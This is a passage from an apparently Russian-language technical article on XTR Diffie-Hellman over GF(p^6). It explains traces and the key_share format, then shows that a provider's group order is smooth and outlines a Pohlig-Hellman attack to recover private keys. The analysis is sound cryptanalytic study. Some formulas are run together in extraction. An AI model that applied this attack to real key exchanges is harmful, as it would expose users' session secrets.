code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u042d\u043b\u0435\u043c\u0435\u043d\u0442 <code>3<\/code> \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u043c:<\/p>\n<pre><code>3\u2070 mod 7 = 13\u00b9 mod 7 = 33\u00b2 mod 7 = 23\u00b3 mod 7 = 63\u2074 mod 7 = 43\u2075 mod 7 = 5<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0430 &#8212; \u0433\u0440\u0443\u043f\u043f\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u043e\u043b\u044c\u0448\u0435\u0439 \u0433\u0440\u0443\u043f\u043f\u044b, \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0432\u0441\u0435 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b \u0433\u0440\u0443\u043f\u043f\u044b.<\/p>\n<p>\u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0433\u0440\u0443\u043f\u043f\u044b &#8212; \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 \u043d\u0435\u0439.<\/p>\n<p>\u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 g &#8212; \u043d\u0430\u0438\u043c\u0435\u043d\u044c\u0448\u0435\u0435 q, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e <code>g^q = 1<\/code>. \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u044b, \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u043c g.<\/p>\n<p>\u041f\u043e\u0440\u044f\u0434\u043e\u043a \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u044b \u0434\u0435\u043b\u0438\u0442 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0433\u0440\u0443\u043f\u043f\u044b \u043f\u043e \u0442\u0435\u043e\u0440\u0435\u043c\u0435 \u041b\u0430\u0433\u0440\u0430\u043d\u0436\u0430.<\/p>\n<p>\u041b\u044e\u0431\u043e\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0433\u0440\u0443\u043f\u043f\u044b \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u0430\u043a <code>g^x<\/code>. x &#8212; \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u0446\u0438\u043a\u043b\u0438\u0447\u043d\u044b \u043f\u043e \u043c\u043e\u0434\u0443\u043b\u044e q.<\/p>\n<p>GF\u00a7 &#8212; Galois Field, \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0435 \u043f\u043e\u043b\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u0441\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0432\u044b\u0447\u0438\u0442\u0430\u043d\u0438\u0435, \u0443\u043c\u043d\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043c\u043e\u0434\u0443\u043b\u044e p, \u0435\u0441\u043b\u0438 p &#8212; \u043f\u0440\u043e\u0441\u0442\u043e\u0435 \u0447\u0438\u0441\u043b\u043e. GF(p^2) &#8212; \u044d\u0442\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u043e\u0435 \u043f\u043e\u043b\u0435, \u0433\u0434\u0435 \u043a\u0430\u0436\u0434\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u0438\u0442\u044c \u043a\u0430\u043a \u043f\u0430\u0440\u044b \u0447\u0438\u0441\u0435\u043b \u0438\u0437 GF\u00a7: <code>a + b*u<\/code>, \u0433\u0434\u0435 u &#8212; \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0440\u0435\u043d\u044c \u043d\u0435\u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043c\u043e\u0433\u043e \u043a\u0432\u0430\u0434\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u043c\u043d\u043e\u0433\u043e\u0447\u043b\u0435\u043d\u0430, \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0442\u0430\u043a, \u0447\u0442\u043e \u0443 \u043d\u0435\u0433\u043e \u043d\u0435\u0442 \u043a\u043e\u0440\u043d\u0435\u0439 \u0432 \u043f\u043e\u043b\u0435 GF\u00a7. \u041f\u043e\u0441\u043b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0443\u043c\u043d\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0430\u0434 \u044d\u0442\u0438\u043c\u0438 \u0447\u0438\u0441\u043b\u0430\u043c\u0438, \u0435\u0441\u043b\u0438 \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f u \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438, \u0442\u043e \u043e\u043d\u0438 \u0441\u043e\u043a\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u043c\u043d\u043e\u0433\u043e\u0447\u043b\u0435\u043d\u0443, \u0430 a \u0438 b \u0441\u043e\u043a\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f % p.<\/p>\n<pre><code>GF(p) = {0,1,2}GF(p^2) = {(0,0), (1,0), (0,1), (1,1), (1,2), (2,1), (0,2), (2,0), (2,2)} \u0438\u043b\u04380+0u;...;2+2u<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>GF(p^6) &#8212; \u043f\u043e\u043b\u0435, \u043a\u0430\u0436\u0434\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 6 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 GF\u00a7, \u0438\u043b\u0438 \u0438\u0437 3 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 GF(p^2), GF(p^6) = GF((p^2)^3): <code>((0,0), (1,1), (2,2))<\/code> \u042d\u043b\u0435\u043c\u0435\u043d\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a:<\/p>\n<pre><code>h = A + B*v + C*v^2<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0433\u0434\u0435 A,B,C &#8212; \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b \u0438\u0437 GF(p^2), v \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u0443\u0431\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u043c\u043d\u043e\u0433\u043e\u0447\u043b\u0435\u043d\u0443. \u0438\u043b\u0438 \u043a\u0430\u043a<\/p>\n<pre><code>h = a\u2080 + a\u2081*u + b\u2080*v + b\u2081*u*v + c\u2080*v\u00b2 + c\u2081*u*v\u00b2<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0433\u0434\u0435 a0, a1, b0, b1, c0, c1 &#8212; \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b GF\u00a7<\/p>\n<p><code>*GF(p^6)<\/code> &#8212; \u043c\u0443\u043b\u044c\u0442\u0438\u043f\u043b\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430 \u043f\u043e\u043b\u044f &#8212; \u0432\u0441\u0435 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b, \u043a\u0440\u043e\u043c\u0435 0, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0443\u043c\u043d\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u043e \u043c\u043e\u0434\u0443\u043b\u044e. \u041e\u043d\u0430 \u0446\u0438\u043a\u043b\u0438\u0447\u043d\u0430.<\/p>\n<p>\u041f\u043e\u0440\u044f\u0434\u043e\u043a <code>*GF(p^6)<\/code> = <code>p^6 - 1<\/code>. \u0420\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430:<\/p>\n<pre><code>p^6 - 1  = (p - 1)(p + 1)(p^2 + p + 1)(p^2 - p + 1)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043c\u043d\u043e\u0436\u0438\u0442\u0435\u043b\u044c:<\/p>\n<pre><code>Phi_6(p) = p^2 - p + 1<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p><code>Phi_6(x) = x^2 - x + 1<\/code> \u2014 \u0448\u0435\u0441\u0442\u043e\u0439 \u0446\u0438\u043a\u043b\u043e\u0442\u043e\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043c\u043d\u043e\u0433\u043e\u0447\u043b\u0435\u043d. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 <code>Phi_6(p)<\/code> \u0434\u0435\u043b\u0438\u0442 <code>p^6-1<\/code>, \u0432\u043d\u0443\u0442\u0440\u0438 <code>GF(p^6)*<\/code> \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0430 \u043f\u043e\u0440\u044f\u0434\u043a\u0430 <code>Phi_6(x)<\/code>. \u0415\u0451 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0448\u0435\u0441\u0442\u043e\u0439 \u0446\u0438\u043a\u043b\u043e\u0442\u043e\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u043e\u0439.<\/p>\n<p>\u0412 GF\u00a7 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f <code>x^p = x<\/code>. \u0412 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0438 GF(p^3) \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f: <code>x -&gt; x^p -&gt; x^p^2 -&gt; x^p^3=x<\/code> . \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f <code>x -&gt; x^p<\/code> \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f Frobenius, \u0438\u043b\u0438 F(x).<\/p>\n<p>\u0415\u0441\u043b\u0438 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c <code>GF(p^6)<\/code> \u043a\u0430\u043a \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043d\u0430\u0434 <code>GF(p^2)<\/code>, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f:<\/p>\n<pre><code>F(x) = x -&gt; x^(p^2)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0434\u043b\u044f<\/p>\n<pre><code>h = A + B*v + C*v^2<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0442\u0440\u0438 \u0441\u043e\u043f\u0440\u044f\u0436\u0435\u043d\u043d\u044b\u0445, \u0442\u0440\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432 \u0446\u0438\u043a\u043b\u0435:<\/p>\n<pre><code>h, h^(p^2), h^(p^4)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>Trace, Tr(h) &#8212; \u044d\u0442\u043e \u0441\u0443\u043c\u043c\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0435\u0433\u043e \u0441\u043e\u043f\u0440\u044f\u0436\u0435\u043d\u043d\u044b\u0445:<\/p>\n<pre><code>Tr(h) = h + h^(p^2) + h^(p^4)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u044d\u0442\u043e\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 GF(p^2), \u0442\u0430\u043a \u043a\u0430\u043a <code>Tr(h)^(p^2) = Tr(h)<\/code>.<\/p>\n<p>\u0420\u0430\u0437\u043c\u0435\u0440 trace &#8212; 44 \u0431\u0430\u0439\u0442\u0430 (22*2). \u0420\u0430\u0437\u043c\u0435\u0440 h &#8212; 132 \u0431\u0430\u0439\u0442\u0430 (22*6)<\/p>\n<p><a href=\"https:\/\/ru.wikipedia.org\/wiki\/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB_%D0%94%D0%B8%D1%84%D1%84%D0%B8_%E2%80%94_%D0%A5%D0%B5%D0%BB%D0%BB%D0%BC%D0%B0%D0%BD%D0%B0\">\u0414\u0438\u0444\u0444\u0438-\u0445\u044d\u043b\u043b\u043c\u0430\u043d<\/a> &#8212; \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 <\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/24\/00\/31\/240031aa1666370324c9e2081af7803f.png\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/24\/00\/31\/240031aa1666370324c9e2081af7803f.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/24\/00\/31\/240031aa1666370324c9e2081af7803f.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>XTR \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0414\u0438\u0444\u0444\u0438-\u0425\u0435\u043b\u043b\u043c\u0430\u043d\u0430 \u0432 \u0446\u0438\u043a\u043b\u043e\u0442\u043e\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0435 <code>*G(p^6)<\/code>, \u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e trace \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432.<\/p>\n<p>\u041a\u043b\u0438\u0435\u043d\u0442 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0435\u043a\u0440\u0435\u0442 <code>a<\/code>:<\/p>\n<pre><code>client public = Tr(g^a)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0421\u0435\u0440\u0432\u0435\u0440 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0435\u043a\u0440\u0435\u0442 <code>b<\/code>:<\/p>\n<pre><code>server public = Tr(g^b)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041e\u0431\u0449\u0438\u0439 \u0441\u0435\u043a\u0440\u0435\u0442:<\/p>\n<pre><code>Tr(g^(ab))<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041a\u043b\u0438\u0435\u043d\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0435\u0433\u043e \u0438\u0437 <code>Tr(g^b)<\/code> \u0438 <code>a<\/code>, \u0441\u0435\u0440\u0432\u0435\u0440 \u2014 \u0438\u0437 <code>Tr(g^a)<\/code> \u0438 <code>b<\/code>.<\/p>\n<p>\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 XTR-\u0440\u0435\u043a\u0443\u0440\u0440\u0435\u043d\u0442\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u0443\u043b\u044b \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0442\u044c:<\/p>\n<pre><code>Tr(h^n)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0437\u043d\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e <code>Tr(h)<\/code> \u0438 <code>n<\/code>. \u0412 provider \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u044f\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>trace_pow<\/code>:<\/p>\n<pre><code>trace_pow(Tr(h), n) = Tr(h^n)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u043c, \u0447\u0442\u043e \u0436\u0435 \u0432\u0441\u0435 \u0442\u0430\u043a\u0438 \u0442\u0430\u043a\u043e\u0435 key_share. \u042d\u0442\u043e trace, \u043f\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043b\u0435\u043d\u0438\u0435 h \u0432 GF(p^2). \u0414\u043b\u0438\u043d\u043e\u0439 44 \u0431\u0430\u0439\u0442\u0430. \u0418 \u043a\u043b\u0438\u0435\u043d\u0442, \u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0437\u043d\u0430\u044e\u0442 Tr(g), \u0438 \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 Tr(g^a)=(A1, A2) \u0438 Tr(g^b)=(B1, B2) \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0432\u0435\u043d\u043d\u043e.<\/p>\n<p>\u041e\u043d\u0438 \u043e\u0431\u043c\u0435\u043d\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u044d\u0442\u0438\u043c\u0438 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u043a\u043b\u044e\u0447\u0430\u043c\u0438 \u0438 \u0443 \u0441\u0435\u0431\u044f \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u043e\u0431\u0449\u0438\u0439 \u0441\u0435\u043a\u0440\u0435\u0442 Tr(g^ab) \u0434\u043b\u0438\u043d\u043e\u0439 44 \u0431\u0430\u0439\u0442\u0430.<\/p>\n<p>\u041d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u0432\u0441\u0435 \u0445\u043e\u0440\u043e\u0448\u043e, \u043b\u0438\u0448\u044c \u0431\u044b \u0443 \u043d\u0435\u0433\u043e \u0431\u044b\u043b \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043a\u0440\u0443\u043f\u043d\u0435\u0439\u0448\u0438\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u043c\u043d\u043e\u0436\u0438\u0442\u0435\u043b\u044c.<\/p>\n<h4>\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c<\/h4>\n<pre><code>q = 3 * 7 * 13 * 19 * 61 * 79 * 103^2 * 109 * 139 * 151 * 157  * 181 * 193 * 199 * 211 * 241 * 271 * 277 * 307 * 313 * 331  * 337 * 349 * 367 * 373 * 379 * 30781183 * 541097644741  * 797114506711 * 247389332406283<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0421\u0430\u043c\u044b\u0439 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0434\u0435\u043b\u0438\u0442\u0435\u043b\u044c \u0438\u043c\u0435\u0435\u0442 \u0434\u043b\u0438\u043d\u0443 \u0442\u043e\u043b\u044c\u043a\u043e 48 \u0431\u0438\u0442, \u0442\u043e \u0435\u0441\u0442\u044c q &#8212; \u0433\u043b\u0430\u0434\u043a\u043e\u0435.<\/p>\n<p>\u041f\u0440\u043e\u0441\u0442\u044b\u043c \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u043e\u043c \u0440\u0435\u0448\u0438\u0442\u044c <code>A = g^a<\/code> \u0441\u043b\u043e\u0436\u043d\u043e, \u043d\u043e \u0435\u0441\u043b\u0438 <code>q = r1*r2*...*rn<\/code>, \u0442\u043e <a href=\"https:\/\/ru.wikipedia.org\/wiki\/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%9F%D0%BE%D0%BB%D0%B8%D0%B3%D0%B0_%E2%80%94_%D0%A5%D0%B5%D0%BB%D0%BB%D0%BC%D0%B0%D0%BD%D0%B0\">Pohlig-Hellman<\/a> \u0440\u0435\u0448\u0430\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438:<\/p>\n<pre><code>a mod r1a mod r2...a mod rn<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0417\u0430\u0442\u0435\u043c \u043e\u0442\u0432\u0435\u0442\u044b \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u044e\u0442\u0441\u044f <a href=\"https:\/\/ru.wikipedia.org\/wiki\/%D0%9A%D0%B8%D1%82%D0%B0%D0%B9%D1%81%D0%BA%D0%B0%D1%8F_%D1%82%D0%B5%D0%BE%D1%80%D0%B5%D0%BC%D0%B0_%D0%BE%D0%B1_%D0%BE%D1%81%D1%82%D0%B0%D1%82%D0%BA%D0%B0%D1%85\">\u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u0442\u0435\u043e\u0440\u0435\u043c\u043e\u0439 \u043e\u0431 \u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445<\/a> \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c:<\/p>\n<pre><code>a mod q<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0414\u043b\u044f \u043d\u0430\u0448\u0435\u0433\u043e \u0441\u043b\u0443\u0447\u0430\u044f:<\/p>\n<pre><code>a mod rg^a = Am = q\/rg_r = g^m \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0443 \u043f\u043e\u0440\u044f\u0434\u043a\u0430 r1A_r = A^m = g_r^a\u0442\u043e\u0433\u0434\u0430 g_r^x = A_r, x \u043f\u0440\u0438\u043d {0,1,...,r-1}...x = a mod r<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0442\u0430\u043a \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u043e\u0442 \u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043d\u0430 \u0432\u0441\u0435 \u043c\u043d\u043e\u0436\u0438\u0442\u0435\u043b\u0438, \u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u043c, \u043d\u0430\u0445\u043e\u0434\u044f a.<\/p>\n<p>\u041d\u0430\u043c \u043d\u0430\u0434\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0431\u0440\u0430\u0442\u044c \u0432\u0441\u0435\u0433\u043e <code>sqrt(247389332406283) = 15728615<\/code>, \u044d\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e.<\/p>\n<p>\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0447\u0443\u0442\u044c \u0447\u0443\u0442\u044c. \u041d\u0430\u043c \u043d\u0430\u0434\u043e \u043a\u0430\u043a-\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c <code>g^a<\/code> \u0438 <code>g<\/code>, \u0438\u043c\u0435\u044f \u0442\u043e\u043b\u044c\u043a\u043e <code>Tr(g)<\/code> \u0438 <code>Tr(g^a)<\/code>.<\/p>\n<p>\u0423 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0442\u0440\u0438 \u0441\u043e\u043f\u0440\u044f\u0436\u0435\u043d\u043d\u044b\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430, \u0435\u0441\u043b\u0438 \u043c\u044b \u043f\u043e\u0441\u0442\u0440\u043e\u0438\u043c \u043a\u0443\u0431\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0443\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0441 \u043a\u043e\u0440\u043d\u044f\u043c\u0438 <code>h, h^p^2 \u0438 h^p^4<\/code>, <code>(x-h)(x-h^p^2)(x-h^p^4)<\/code>, \u0442\u043e \u043f\u0440\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0432\u0441\u0435\u0445 \u0441\u043a\u043e\u0431\u043e\u043a 